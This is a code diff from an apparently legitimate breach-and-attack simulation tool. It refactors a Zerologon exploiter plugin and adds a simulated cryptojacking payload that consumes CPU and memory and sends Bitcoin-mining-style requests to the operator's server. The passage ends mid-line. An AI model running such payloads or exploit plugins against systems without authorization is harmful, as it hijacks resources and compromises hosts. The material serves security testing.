b/monkey/agent_plugins/exploiters/zerologon/src/HostExploiter.py @@ -4,13 +4,13 @@ from time import time from typing import Tuple -from common.agent_events import ExploitationEvent, PropagationEvent +from common.agent_events import AgentEventTag, ExploitationEvent, PropagationEvent from common.event_queue import IAgentEventPublisher from common.types import AgentID, Event -from common.utils.exceptions import FailedExploitationError -from infection_monkey.i_puppet import ExploiterResultData, TargetHost +from infection_monkey.i_puppet import ExploiterResult, TargetHost from .zerologon_options import ZerologonOptions +from .zerologon_utils.exceptions import FailedExploitationError logger = logging.getLogger(__name__) @@ -23,12 +23,12 @@ def _EXPLOITED_SERVICE(self): @property @abstractmethod - def _EXPLOITER_TAGS(self) -> Tuple[str, ...]: + def _EXPLOITER_TAGS(self) -> Tuple[AgentEventTag, ...]: pass @property @abstractmethod - def _PROPAGATION_TAGS(self) -> Tuple[str, ...]: + def _PROPAGATION_TAGS(self) -> Tuple[AgentEventTag, ...]: pass def __init__(self): @@ -93,9 +93,7 @@ def exploit_host( self.post_exploit() def pre_exploit(self): - self.exploit_result = ExploiterResultData( - os=self.host.operating_system, info=self.exploit_info - ) + self.exploit_result = ExploiterResult(os=self.host.operating_system, info=self.exploit_info) self.set_start_time() def _is_interrupted(self): @@ -105,28 +103,17 @@ def post_exploit(self): self.set_finish_time() @abstractmethod - def _exploit_host(self) -> ExploiterResultData: + def _exploit_host(self) -> ExploiterResult: raise NotImplementedError() def add_vuln_url(self, url): self.exploit_info["vulnerable_urls"].append(url) - def add_vuln_port(self, port): - self.exploit_info["vulnerable_ports"].append(port) - - def add_executed_cmd(self, cmd): - """ - Appends command to exploiter's info. - :param cmd: String of executed command. e.g. 'echo Example' - """ - powershell = True if "powershell" in cmd.lower() else False - self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell}) - def _publish_exploitation_event( self, time: float = time(), success: bool = False, - tags: Tuple[str, ...] = tuple(), + tags: Tuple[AgentEventTag, ...] = tuple(), error_message: str = "", ): exploitation_event = ExploitationEvent( @@ -144,7 +131,7 @@ def _publish_propagation_event( self, time: float = time(), success: bool = False, - tags: Tuple[str, ...] = tuple(), + tags: Tuple[AgentEventTag, ...] = tuple(), error_message: str = "", ): propagation_event = PropagationEvent( diff --git a/monkey/agent_plugins/exploiters/zerologon/src/plugin.py b/monkey/agent_plugins/exploiters/zerologon/src/plugin.py index f842fa97c91..79d363d5ea1 100644 --- a/monkey/agent_plugins/exploiters/zerologon/src/plugin.py +++ b/monkey/agent_plugins/exploiters/zerologon/src/plugin.py @@ -5,7 +5,7 @@ from common.event_queue import IAgentEventPublisher from common.types import AgentID, Event from common.utils.code_utils import del_key -from infection_monkey.i_puppet import ExploiterResultData, TargetHost +from infection_monkey.i_puppet import ExploiterResult, TargetHost from .zerologon import ZerologonExploiter from .zerologon_options import ZerologonOptions @@ -33,7 +33,7 @@ def run( options: Dict[str, Any], interrupt: Event, **kwargs, - ) -> ExploiterResultData: + ) -> ExploiterResult: # HTTP ports options are hack because they are needed in fingerprinters del_key(options, "http_ports") @@ -43,7 +43,7 @@ def run( except Exception as err: msg = f"Failed to parse Zerologon options: {err}" logger.exception(msg) - return ExploiterResultData(error_message=msg) + return ExploiterResult(error_message=msg) try: logger.debug(f"Running Zerologon exploiter on host {host.ip}") @@ -54,4 +54,4 @@ def run( except Exception as err: msg = f"An unexpected exception occurred while attempting to exploit host: {err}" logger.exception(msg) - return ExploiterResultData(error_message=msg) + return ExploiterResult(error_message=msg) diff --git a/monkey/agent_plugins/exploiters/zerologon/src/zerologon.py b/monkey/agent_plugins/exploiters/zerologon/src/zerologon.py index 5d0799c0ba4..62c485a241b 100644 --- a/monkey/agent_plugins/exploiters/zerologon/src/zerologon.py +++ b/monkey/agent_plugins/exploiters/zerologon/src/zerologon.py @@ -16,14 +16,14 @@ from impacket.dcerpc.v5 import nrpc, rpcrt from impacket.dcerpc.v5.dtypes import NULL -from common.agent_events import CredentialsStolenEvent, PasswordRestorationEvent +from common.agent_events import AgentEventTag, CredentialsStolenEvent, PasswordRestorationEvent from common.credentials import Credentials, LMHash, NTHash, Username from common.tags import ( ACCOUNT_MANIPULATION_T1098_TAG, EXPLOITATION_OF_REMOTE_SERVICES_T1210_TAG, OS_CREDENTIAL_DUMPING_T1003_TAG, ) -from infection_monkey.i_puppet import ExploiterResultData +from infection_monkey.i_puppet import ExploiterResult from infection_monkey.utils.threading import interruptible_iter from .HostExploiter import HostExploiter @@ -56,7 +56,7 @@ class ZerologonExploiter(HostExploiter): ACCOUNT_MANIPULATION_T1098_TAG, EXPLOITATION_OF_REMOTE_SERVICES_T1210_TAG, ) - _PROPAGATION_TAGS: Tuple[str, ...] = tuple() + _PROPAGATION_TAGS: Tuple[AgentEventTag, ...] = tuple() ERROR_CODE_ACCESS_DENIED = 0xC0000022 @@ -69,7 +69,7 @@ def __init__(self): def __del__(self): self._secrets_dir.cleanup() - def _exploit_host(self) -> ExploiterResultData: + def _exploit_host(self) -> ExploiterResult: self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host) authenticated, rpc_con, timestamp = self._zero_authenticate() diff --git a/monkey/agent_plugins/exploiters/zerologon/src/zerologon_utils/exceptions.py b/monkey/agent_plugins/exploiters/zerologon/src/zerologon_utils/exceptions.py index 06a2c96f995..d3464d345ea 100644 --- a/monkey/agent_plugins/exploiters/zerologon/src/zerologon_utils/exceptions.py +++ b/monkey/agent_plugins/exploiters/zerologon/src/zerologon_utils/exceptions.py @@ -1,4 +1,5 @@ -from common.utils.exceptions import FailedExploitationError +class FailedExploitationError(Exception): + """Raise when exploiter fails instead of returning False""" class DomainControllerNameFetchError(FailedExploitationError): diff --git a/monkey/agent_plugins/payloads/cryptojacker/Pipfile b/monkey/agent_plugins/payloads/cryptojacker/Pipfile new file mode 100644 index 00000000000..496ff3e86ca --- /dev/null +++ b/monkey/agent_plugins/payloads/cryptojacker/Pipfile @@ -0,0 +1,12 @@ +[[source]] +url = "https://pypi.org/simple" +verify_ssl = true +name = "pypi" + +[packages] +psutil = "*" + +[dev-packages] + +[requires] +python_version = "3.11" diff --git a/monkey/agent_plugins/payloads/cryptojacker/Pipfile.lock b/monkey/agent_plugins/payloads/cryptojacker/Pipfile.lock new file mode 100644 index 00000000000..1c33a8f4b92 --- /dev/null +++ b/monkey/agent_plugins/payloads/cryptojacker/Pipfile.lock @@ -0,0 +1,41 @@ +{ + "_meta": { + "hash": { + "sha256": "2d1ff80c177be3e408e0379d9409c30cd8219f54c959c2a3de176eff5a2ec5c4" + }, + "pipfile-spec": 6, + "requires": { + "python_version": "3.11" + }, + "sources": [ + { + "name": "pypi", + "url": "https://pypi.org/simple", + "verify_ssl": true + } + ] + }, + "default": { + "psutil": { + "hashes": [ + "sha256:104a5cc0e31baa2bcf67900be36acde157756b9c44017b86b2c049f11957887d", + "sha256:3c6f686f4225553615612f6d9bc21f1c0e305f75d7d8454f9b46e901778e7217", + "sha256:4aef137f3345082a3d3232187aeb4ac4ef959ba3d7c10c33dd73763fbc063da4", + "sha256:5410638e4df39c54d957fc51ce03048acd8e6d60abc0f5107af51e5fb566eb3c", + "sha256:5b9b8cb93f507e8dbaf22af6a2fd0ccbe8244bf30b1baad6b3954e935157ae3f", + "sha256:7a7dd9997128a0d928ed4fb2c2d57e5102bb6089027939f3b722f3a210f9a8da", + "sha256:89518112647f1276b03ca97b65cc7f64ca587b1eb0278383017c2a0dcc26cbe4", + "sha256:8c5f7c5a052d1d567db4ddd231a9d27a74e8e4a9c3f44b1032762bd7b9fdcd42", + "sha256:ab8ed1a1d77c95453db1ae00a3f9c50227ebd955437bcf2a574ba8adbf6a74d5", + "sha256:acf2aef9391710afded549ff602b5887d7a2349831ae4c26be7c807c0a39fac4", + "sha256:b258c0c1c9d145a1d5ceffab1134441c4c5113b2417fafff7315a917a026c3c9", + "sha256:be8929ce4313f9f8146caad4272f6abb8bf99fc6cf59344a3167ecd74f4f203f", + "sha256:c607bb3b57dc779d55e1554846352b4e358c10fff3abf3514a7a6601beebdb30", + "sha256:ea8518d152174e1249c4f2a1c89e3e6065941df2fa13a1ab45327716a23c2b48" + ], + "index": "pypi", + "version": "==5.9.5" + } + }, + "develop": {} +} diff --git a/monkey/agent_plugins/payloads/cryptojacker/config-schema.json b/monkey/agent_plugins/payloads/cryptojacker/config-schema.json new file mode 100644 index 00000000000..6f34228aac5 --- /dev/null +++ b/monkey/agent_plugins/payloads/cryptojacker/config-schema.json @@ -0,0 +1,33 @@ +{ + "properties": { + "duration": { + "title": "Duration", + "type": "number", + "description": "The duration (in seconds) for which the cryptojacking simulation should run on each machine", + "default": 300, + "minimum": 0 + }, + "cpu_utilization": { + "title": "CPU utilization", + "type": "integer", + "description": "The percentage of CPU to use on a machine", + "default": 80, + "minimum": 0, + "maximum": 100 + }, + "memory_utilization": { + "title": "Memory utilization", + "type": "integer", + "description": "The percentage of memory to use on a machine", + "default": 20, + "minimum": 0, + "maximum": 100 + }, + "simulate_bitcoin_mining_network_traffic": { + "title": "Simulate Bitcoin mining network traffic", + "type": "boolean", + "description": "If enabled, the Agent will periodically send requests used in Bitcoin mining over the network.", + "default": false + } + } +} diff --git a/monkey/agent_plugins/payloads/cryptojacker/manifest.yaml b/monkey/agent_plugins/payloads/cryptojacker/manifest.yaml new file mode 100644 index 00000000000..f28746d0ddd --- /dev/null +++ b/monkey/agent_plugins/payloads/cryptojacker/manifest.yaml @@ -0,0 +1,19 @@ +name: Cryptojacker +plugin_type: Payload +supported_operating_systems: + - linux + - windows +target_operating_systems: + - linux + - windows +title: Cryptojacker +version: 1.0.0 +description: >- + Simulates a cryptojacker running on your network using a set of configurable behaviors. + + To simulate cryptojacking, you'll need to configure a time limit for the simulation, + and how much CPU and memory to utilize on each infected machine. You can also instruct + the Agent to send a request over the network with data that is commonly identified by + security solutions as cryptomining activity. +safe: false +link_to_documentation: https://techdocs.akamai.com/infection-monkey/docs/cryptojacker diff --git a/monkey/agent_plugins/payloads/cryptojacker/src/bitcoin_mining_network_traffic_simulator.py b/monkey/agent_plugins/payloads/cryptojacker/src/bitcoin_mining_network_traffic_simulator.py new file mode 100644 index 00000000000..01d17e77744 --- /dev/null +++ b/monkey/agent_plugins/payloads/cryptojacker/src/bitcoin_mining_network_traffic_simulator.py @@ -0,0 +1,123 @@ +import base64 +import json +import logging +import random +import time +from http import HTTPMethod +from typing import Optional + +import requests +from requests.exceptions import ConnectionError, ConnectTimeout, ReadTimeout + +from common.agent_events import HTTPRequestEvent +from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT +from common.event_queue import IAgentEventPublisher +from common.types import AgentID, SocketAddress +from common.utils.code_utils import PeriodicCaller + +from .consts import CRYPTOJACKER_PAYLOAD_TAG + +# Based on some very unofficial sources, it seems like 60 seconds is a good interval. +# https://bitcointalk.org/index.php?topic=1091724.0 +REQUEST_INTERVAL = 60 # seconds + + +logger = logging.getLogger(__name__) + + +class BitcoinMiningNetworkTrafficSimulator: + def __init__( + self, + island_server_address: SocketAddress, + agent_id: AgentID, + agent_event_publisher: IAgentEventPublisher, + ): + self._island_server_address = island_server_address + self._agent_id = agent_id + self._agent_event_publisher = agent_event_publisher + + self._send_bitcoin_mining_request_periodically = PeriodicCaller( + callback=self.send_bitcoin_mining_request, + period=REQUEST_INTERVAL, + name="Cryptojacking.BitcoinMiningNetworkTrafficSimulator", + ) + + self._headers = BitcoinMiningNetworkTrafficSimulator._build_headers() + + @staticmethod + def _build_headers(): + user = "bitcoin-user" + password = "bitcoin-password" + auth = base64.encodebytes((user + ":" + password).encode()).decode().strip() + + return { + "Accept-Encoding": "identity", + "Authorization": f"Basic {auth}", + "Content-Type": "application/x-www-form-urlencoded", + } + + def start(self): + logger.info("Starting Bitcoin mining network traffic simulator") + + self._send_bitcoin_mining_request_periodically.start() + + def send_bitcoin_mining_request(self): + url = f"http://{self._island_server_address}/" + failure_warning_msg = f"Failed to establish a connection with {url}" + body = json.dumps( + BitcoinMiningNetworkTrafficSimulator._build_getblocktemplate_request_body() + ).encode() + + logger.info(f"Sending Bitcoin mining request to {url}") + + timestamp = time.time() + try: + requests.post( + url, + data=body, + headers=self._headers, + timeout=MEDIUM_REQUEST_TIMEOUT, + ) + except ConnectTimeout as err: + logger.warning(f"{failure_warning_msg}: {err}") + except (ReadTimeout, ConnectionResetError): + self._publish_http_request_event(timestamp, url) + except ConnectionError as err: + self._handle_connection_error(err, timestamp, url, failure_warning_msg) + + @staticmethod + def _build_getblocktemplate_request_body(): + id_ = random.getrandbits(32) # noqa: DUO102 (this isn't for cryptographic use) + method = "getblocktemplate" + params = [{"rules": ["segwit"]}] + + return {"id": id_, "method": method, "params": params} + + def _publish_http_request_event(self, timestamp: float, url: str): + http_request_event = HTTPRequestEvent( + source=self._agent_id, + timestamp=timestamp, + tags=frozenset({CRYPTOJACKER_PAYLOAD_TAG}), + method=HTTPMethod.POST, + url=url, # type: ignore [arg-type] + ) + self._agent_event_publisher.publish(http_request_event) + + def _handle_connection_error( + self, err: ConnectionError, timestamp: float, url: str, failure_warning_msg: str + ): + try: + expected_connection_reset_error = ( + err.__context__.__context__ + ) # ignore: type [union-attr] + if isinstance(expected_connection_reset_error, ConnectionResetError): + self._publish_http_request_event(timestamp, url) + else: + logger.warning(f"{failure_warning_msg}: {err}") + except AttributeError: + logger.warning(f"{failure_warning_msg}: {err}") + + def stop(self, timeout: Optional[float] = None): + logger.info("Stopping Bitcoin mining network traffic simulator") + + self._send_bitcoin_mining_request_periodically.stop(timeout) diff --git a/monkey/agent_plugins/payloads/cryptojacker/src/consts.py b/monkey/agent_plugins/payloads/cryptojacker/src/consts.py new file mode 100644 index 00000000000..c734d4e1bdb --- /dev/null +++ b/monkey/agent_plugins/payloads/cryptojacker/src/consts.py @@ -0,0 +1 @@ +CRYPTOJACKER_PAYLOAD_TAG = "cryptojacker-payload" diff --git a/monkey/agent_plugins/payloads/cryptojacker/src/cpu_utilizer.py b/monkey/agent_plugins/payloads/cryptojacker/src/cpu_utilizer.py new file mode 100644 index 00000000000..cdc857f47e8 --- /dev/null +++ b/monkey/agent_plugins/payloads/cryptojacker/src/cpu_utilizer.py @@ -0,0 +1,153 @@ +import hashlib +import logging +import threading +import time +from random import randbytes # noqa: DUO102 (this isn't for cryptographic use) +from typing import Optional + +import psutil + +from common import OperatingSystem +from common.agent_events import CPUConsumptionEvent +from common.event_queue import IAgentEventPublisher +from common.tags import RESOURCE_HIJACKING_T1496_TAG +from common.types import AgentID, NonNegativeFloat, PercentLimited +from common.utils.environment import get_os +from infection_monkey.utils.threading import create_daemon_thread + +from .consts import CRYPTOJACKER_PAYLOAD_TAG + +logger = logging.getLogger(__name__) + + +ACCURACY_THRESHOLD = 0.02 +INITIAL_SLEEP_SECONDS = 0.001 +AVERAGE_BLOCK_SIZE_BYTES = int( + 3.25 * 1024 * 1024 +) # 3.25 MB - Source: https://trustmachines.co/blog/bitcoin-ordinals-reignited-block-size-debate/ +OPERATION_COUNT = 250 +OPERATION_COUNT_MODIFIER_START = int(OPERATION_COUNT / 10) +OPERATION_COUNT_MODIFIER_FACTOR = 1.5 +MINIMUM_SLEEP = 0.000001 +MINIMUM_CPU_UTILIZATION_TARGET = 1 # 1% + + +class CPUUtilizer: + def __init__( + self, + target_cpu_utilization_percent: PercentLimited, + agent_id: AgentID, + agent_event_publisher: IAgentEventPublisher, + ): + # Target CPU utilization can never be zero, otherwise divide by zero errors could occur or + # sleeps could become so large that this process will hang indefinitely. + self._target_cpu_utilization = max( + target_cpu_utilization_percent, MINIMUM_CPU_UTILIZATION_TARGET + ) + self._agent_id = agent_id + self._agent_event_publisher = agent_event_publisher + + self._should_stop_cpu_utilization = threading.Event() + self._cpu_utilizer_thread = create_daemon_thread( + target=self._utilize_cpu, + name="Cryptojacker.CPUUtilizer", + ) + + def start(self): + logger.info("Starting CPUUtilizer") + + self._cpu_utilizer_thread.start() + + def _utilize_cpu(self): + operation_count_modifier = OPERATION_COUNT_MODIFIER_START + sleep_seconds = INITIAL_SLEEP_SECONDS if self._target_cpu_utilization < 100 else 0 + block = randbytes(AVERAGE_BLOCK_SIZE_BYTES) + nonce = 0 + + process = psutil.Process() + # This is a throw-away call. The first call to cpu_percent() always returns 0, even + # after generating some hashes. + # https://psutil.readthedocs.io/en/latest/#psutil.cpu_percent + process.cpu_percent() + + os = get_os() + if os == OperatingSystem.LINUX: + get_current_process_cpu_number = process.cpu_num + elif os == OperatingSystem.WINDOWS: + get_current_process_cpu_number = self._get_windows_process_cpu_number + + while not self._should_stop_cpu_utilization.is_set(): + # The operation_count_modifier decreases the number of hashes per iteration. + # The modifier, itself, decreases by a factor of 1.5 each iteration, until + # it reaches 1. This allows a higher sample rate of the CPU utilization + # early on to help the sleep time to converge quicker. + for _ in range(0, int(OPERATION_COUNT / operation_count_modifier)): + digest = hashlib.sha256() + digest.update(nonce.to_bytes(8)) + digest.update(block) + nonce += 1 + + time.sleep(sleep_seconds) + + measured_cpu_utilization = process.cpu_percent() + process_cpu_number = get_current_process_cpu_number() + + self._publish_cpu_consumption_event(measured_cpu_utilization, process_cpu_number) + + cpu_utilization_percent_error = self._calculate_percent_error( + measured=measured_cpu_utilization + ) + sleep_seconds = CPUUtilizer._calculate_new_sleep( + sleep_seconds, cpu_utilization_percent_error + ) + + operation_count_modifier = max( + int(operation_count_modifier / OPERATION_COUNT_MODIFIER_FACTOR), 1 + ) + + def _publish_cpu_consumption_event( + self, measured_cpu_utilization: NonNegativeFloat, process_cpu_number: int + ): + cpu_consumption_event = CPUConsumptionEvent( + source=self._agent_id, + utilization=measured_cpu_utilization, + cpu_number=process_cpu_number, + tags=frozenset({CRYPTOJACKER_PAYLOAD_TAG, RESOURCE_HIJACKING_T1496_TAG}), + ) + self._agent_event_publisher.publish(cpu_consumption_event) + + def _get_windows_process_cpu_number(self) -> int: + from ctypes import windll + from ctypes.wintypes import DWORD + + get_current_processor_number = windll.kernel32.GetCurrentProcessorNumber + get_current_processor_number.argtypes = [] + get_current_processor_number.restype = DWORD + + return get_current_processor_number() + + def _calculate_percent_error(self, measured: float) -> float: + # `self._target_cpu_utilization` can never be 0 because we prevent this in __init__() + return (measured - self._target_cpu_utilization) / self._target_cpu_utilization + + @staticmethod + def _calculate_new_sleep(current_sleep: float, percent_error: float): + if abs(percent_error) < ACCURACY_THRESHOLD: + return current_sleep + + # Since our multiplication is based on sleep_seconds, don't ever let sleep_seconds == 0, + # otherwise it will never equal anything else. CAVEAT: If the target utilization is 100%, + # current_sleep will be initialized to 0. + return current_sleep * max((1 + percent_error), MINIMUM_SLEEP) + + def stop(self, timeout: Optional[float] = None): + logger.info("Stopping CPUUtilizer") + + self._should_stop_cpu_utilization.set() + + self._cpu_utilizer_thread.join(timeout) + if self._cpu_utilizer_thread.is_alive(): + logger.warning( + "Timed out while waiting for CPU utilization thread to stop, " + "it will be stopped forcefully when the parent process terminates" + ) diff --git a/monkey/agent_plugins/payloads/cryptojacker/src/cryptojacker.py b/monkey/agent_plugins/payloads/cryptojacker/src/cryptojacker.py new file mode 100644 index 00000000000..34b30d17253 --- /dev/null +++ b/monkey/agent_plugins/payloads/cryptojacker/src/cryptojacker.py @@ -0,0 +1,59 @@ +import logging + +from egg_timer import EggTimer + +from common.types import Event + +from .bitcoin_mining_network_traffic_simulator import BitcoinMiningNetworkTrafficSimulator +from .cpu_utilizer import CPUUtilizer +from .cryptojacker_options import CryptojackerOptions +from .memory_utilizer import MemoryUtilizer + +logger = logging.getLogger(__name__) + +COMPONENT_STOP_TIMEOUT = 30 # seconds +CHECK_DURATION_TIMER_INTERVAL = 5 # seconds + + +class Cryptojacker: + def __init__( + self, + options: CryptojackerOptions, + cpu_utilizer: CPUUtilizer, + memory_utilizer: MemoryUtilizer, + bitcoin_mining_network_traffic_simulator: BitcoinMiningNetworkTrafficSimulator, + ): + self._options = options + self._cpu_utilizer = cpu_utilizer + self._memory_utilizer = memory_utilizer + self._bitcoin_mining_network_traffic_simulator = bitcoin_mining_network_traffic_simulator + + def run(self, interrupt: Event): + self._start() + + timer = EggTimer() + timer.set(self._options.duration) + while not timer.is_expired() and not interrupt.is_set(): + interrupt.wait(CHECK_DURATION_TIMER_INTERVAL) + + self._stop() + + def _start(self): + logger.info("Starting the cryptojacker payload") + if self._options.cpu_utilization > 0: + self._cpu_utilizer.start() + + self._memory_utilizer.start() + + if self._options.simulate_bitcoin_mining_network_traffic: + self._bitcoin_mining_network_traffic_simulator.start() + + def _stop(self): + logger.info("Stopping the cryptojacker payload") + if self._options.cpu_utilization > 0: + self._cpu_utilizer.stop(timeout=COMPONENT_STOP_TIMEOUT) + + self._memory_utilizer.stop(timeout=COMPONENT_STOP_TIMEOUT) + + if self._options.simulate_bitcoin_mining_network_traffic: + self._bitcoin_mining_network_traffic_simulator.stop(timeout=COMPONENT_STOP_TIMEOUT) diff --git a/monkey/agent_plugins/payloads/cryptojacker/src/cryptojacker_builder.py b/monkey/agent_plugins/payloads/cryptojacker/src/cryptojacker_builder.py new file mode 100644 index 00000000000..7d0eed7a365 --- /dev/null +++ b/monkey/agent_plugins/payloads/cryptojacker/src/cryptojacker_builder.py @@ -0,0 +1,61 @@ +import logging +from pprint import pformat + +from common.event_queue import IAgentEventPublisher +from common.types import AgentID, PercentLimited, SocketAddress + +from .bitcoin_mining_network_traffic_simulator import BitcoinMiningNetworkTrafficSimulator +from .cpu_utilizer import CPUUtilizer +from .cryptojacker import Cryptojacker +from .cryptojacker_options import CryptojackerOptions +from .memory_utilizer import MemoryUtilizer + +logger = logging.getLogger(__name__) + + +def build_cryptojacker( + options: CryptojackerOptions, + agent_id: AgentID, + agent_event_publisher: IAgentEventPublisher, + island_server_address: SocketAddress, +): + logger.debug(f"Cryptojacker configuration:\n{pformat(options)}") + + cpu_utilizer = _build_cpu_utilizer(options.cpu_utilization, agent_id, agent_event_publisher) + memory_utilizer = _build_memory_utilizer( + options.memory_utilization, agent_id, agent_event_publisher + ) + bitcoin_mining_network_traffic_simulator = _build_bitcoin_mining_network_traffic_simulator( + island_server_address, agent_id, agent_event_publisher + ) + + return Cryptojacker( + options=options, + cpu_utilizer=cpu_utilizer, + memory_utilizer=memory_utilizer, + bitcoin_mining_network_traffic_simulator=bitcoin_mining_network_traffic_simulator, + ) + + +def _build_cpu_utilizer( + cpu_utilization: PercentLimited, agent_id: AgentID, agent_event_publisher: IAgentEventPublisher +) -> CPUUtilizer: + return CPUUtilizer(cpu_utilization, agent_id, agent_event_publisher) + + +def _build_memory_utilizer( + memory_utilization: PercentLimited, + agent_id: AgentID, + agent_event_publisher: IAgentEventPublisher, +) -> MemoryUtilizer: + return MemoryUtilizer(memory_utilization, agent_id, agent_event_publisher) + + +def _build_bitcoin_mining_network_traffic_simulator( + island_server_address: SocketAddress, + agent_id: AgentID, + agent_event_publisher: IAgentEventPublisher, +) -> BitcoinMiningNetworkTrafficSimulator: + return BitcoinMiningNetworkTrafficSimulator( + island_server_address, agent_id, agent_event_publisher + ) diff --git a/monkey/agent_plugins/payloads/cryptojacker/src/cryptojacker_options.py b/monkey/agent_plugins/payloads/cryptojacker/src/cryptojacker_options.py new file mode 100644 index 00000000000..9c6cd9d5943 --- /dev/null +++ b/monkey/agent_plugins/payloads/cryptojacker/src/cryptojacker_options.py @@ -0,0 +1,30 @@ +from pydantic import Field + +from common.base_models import InfectionMonkeyBaseModel +from common.types import PercentLimited + + +class CryptojackerOptions(InfectionMonkeyBaseModel): + duration: float = Field( + title="Duration", + description="The duration (in seconds) for which the cryptojacking simulation should run" + " on each machine", + default=300, # 5 minutes + ge=0, + ) + cpu_utilization: PercentLimited = Field( # type: ignore[valid-type] + title="CPU utilization", + description="The percentage of CPU to use on a machine", + default=80, + ) + memory_utilization: PercentLimited = Field( # type: ignore[valid-type] + title="Memory utilization", + description="The percentage of memory to use on a machine", + default=20, + ) + simulate_bitcoin_mining_network_traffic: bool = Field( + title="Simulate Bitcoin mining network traffic", + default=False, + description="If enabled, the Agent will periodically send requests used in Bitcoin mining" + " over the network.", + ) diff --git a/monkey/agent_plugins/payloads/cryptojacker/src/memory_utilizer.py b/monkey/agent_plugins/payloads/cryptojacker/src/memory_utilizer.py new file mode 100644 index 00000000000..b53248ff1fa --- /dev/null +++ b/monkey/agent_plugins/payloads/cryptojacker/src/memory_utilizer.py @@ -0,0 +1,139 @@ +import logging +import time +from typing import Optional + +import psutil + +from common.agent_events import RAMConsumptionEvent +from common.event_queue import IAgentEventPublisher +from common.tags import RESOURCE_HIJACKING_T1496_TAG +from common.types import AgentID, PercentLimited +from common.utils.code_utils import PeriodicCaller + +from .consts import CRYPTOJACKER_PAYLOAD_TAG + +MEMORY_CONSUMPTION_CHECK_INTERVAL = 30 +# If target memory consumption is within 2% of actual consumption, we'll consider it close enough. +MEMORY_CONSUMPTION_NOP_THRESHOLD = 0.02 +# We don't want to ever use more then 90% of available memory, otherwise we risk impacting the +# victim machines performance +MEMORY_CONSUMPTION_SAFETY_LIMIT = 0.9 + +logger = logging.getLogger(__name__) + + +class MemoryUtilizer: + def __init__( + self, + target_utilization: PercentLimited, + agent_id: AgentID, + agent_event_publisher: IAgentEventPublisher, + ): + self._agent_id = agent_id + self._agent_event_publisher = agent_event_publisher + self._target_utilization = target_utilization + self._consumed_bytes = b"" + + self._periodic_caller = PeriodicCaller( + self.adjust_memory_utilization, + MEMORY_CONSUMPTION_CHECK_INTERVAL, + name="Cryptojacker.MemoryUtilizer", + ) + + @property + def consumed_bytes_size(self) -> int: + try: + return len(self._consumed_bytes) + except AttributeError: + # self._consumed_bytes was deleted and is currently being reinitialized return 0 while + # we wait. + return 0 + + def start(self): + logger.debug("Starting MemoryUtilizer") + self._periodic_caller.start() + + def adjust_memory_utilization(self): + try: + memory_to_consume = self._calculate_memory_to_consume() + self.consume_bytes(len(self._consumed_bytes) + memory_to_consume) + except RuntimeError as err: + logger.error("Failed to adjust memory utilization: %s", err) + + def _calculate_memory_to_consume(self) -> int: + total_virtual_memory = psutil.virtual_memory().total + available_virtual_memory = psutil.virtual_memory().available + used_virtual_memory = psutil.Process().memory_info().vms + + if used_virtual_memory > total_virtual_memory: + raise RuntimeError("Impossible system state: Used memory is greater than total memory") + + ideal_memory_to_consume = int( + total_virtual_memory * self._target_utilization.as_decimal_fraction() + - used_virtual_memory + ) + maximum_memory_to_consume = int( + (available_virtual_memory + used_virtual_memory) * MEMORY_CONSUMPTION_SAFETY_LIMIT + - used_virtual_memory + ) + + # We never want to consume 100% of available memory, otherwise the OS could kill this + # process or one of the user's mission-critical processes. This logic limits the amount of + # memory we consume to 90% of available memory. + return min(ideal_memory_to_consume, maximum_memory_to_consume) + + def consume_bytes(self, bytes_: int): + logger.debug( + f"Currently consumed: {self.consumed_bytes_size} bytes - Target: {bytes_} bytes" + ) + + if not self._should_change_byte_consumption(bytes_): + logger.debug("Not adjusting memory consumption, as the difference is too small") + return + + timestamp = time.time() + if bytes_ <= 0: + self._consumed_bytes = bytearray(0) + else: + # If len(self._consumed_bytes) > 50% of available RAM, we must delete it before + # reassigning it to a new bytearray. Otherwise, the new bytearray may be allocated to + # more than 50% of total RAM before the original byte array is garbage collected. + # This will cause this process to consume all available ram until the OS to kills this + # process or an out-of-memory error occurs. + del self._consumed_bytes + self._consumed_bytes = bytearray(bytes_) + + self._publish_ram_consumption_event(timestamp) + + def _should_change_byte_consumption(self, target_consumption_bytes_: int) -> bool: + if target_consumption_bytes_ <= 0: + if self.consumed_bytes_size == 0: + return False + + return True + + percent_difference = ( + abs(self.consumed_bytes_size - target_consumption_bytes_) / target_consumption_bytes_ + ) + if percent_difference <= MEMORY_CONSUMPTION_NOP_THRESHOLD: + return False + + return True + + def _publish_ram_consumption_event(self, timestamp: float): + total_virtual_memory = psutil.virtual_memory().total + used_virtual_memory = psutil.Process().memory_info().vms + + self._agent_event_publisher.publish( + RAMConsumptionEvent( + source=self._agent_id, + timestamp=timestamp, + bytes=used_virtual_memory, + utilization=(used_virtual_memory / total_virtual_memory) * 100, + tags=frozenset({CRYPTOJACKER_PAYLOAD_TAG, RESOURCE_HIJACKING_T1496_TAG}), + ) + ) + + def stop(self, timeout: Optional[float] = None): + logger.debug("Stopping MemoryUtilizer") + self._periodic_caller.stop(timeout=timeout) diff --git a/monkey/agent_plugins/payloads/cryptojacker/src/plugin.py b/monkey/agent_plugins/payloads/cryptojacker/src/plugin.py new file mode 100644 index 00000000000..ea95f0a1214 --- /dev/null +++ b/monkey/agent_plugins/payloads/cryptojacker/src/plugin.py @@ -0,0 +1,67 @@ +import logging +from pprint import pformat +from threading import Event +from typing import Any, Dict + +from common.event_queue import IAgentEventPublisher +from common.types import AgentID, SocketAddress +from common.utils.code_utils import del_key +from infection_monkey.i_puppet import PayloadResult + +from .cryptojacker_builder import build_cryptojacker +from .cryptojacker_options import CryptojackerOptions + +logger = logging.getLogger(__name__) + + +class Plugin: + def __init__( + self, + *, + plugin_name="", + agent_id: AgentID, + agent_event_publisher: IAgentEventPublisher, + island_server_address: SocketAddress, + **kwargs, + ): + self._agent_id = agent_id + self._agent_event_publisher = agent_event_publisher + self._island_server_address = island_server_address + + def run( + self, + *, + options: Dict[str, Any], + interrupt: Event, + **kwargs, + ) -> PayloadResult: + # HTTP ports options are hack because they are needed in fingerprinters + del_key(options, "http_ports") + + try: + logger.debug(f"Parsing options: {pformat(options)}") + cryptojacker_options = CryptojackerOptions(**options) + except Exception as err: + msg = f"Failed to parse Cryptojacker options: {err}" + logger.exception(msg) + return PayloadResult(success=False, error_message=msg) + + try: + cryptojacker = build_cryptojacker( + options=cryptojacker_options, + agent_id=self._agent_id, + agent_event_publisher=self._agent_event_publisher, + island_server_address=self._island_server_address, + ) + except Exception as err: + msg = f"An unexpected error occurred while 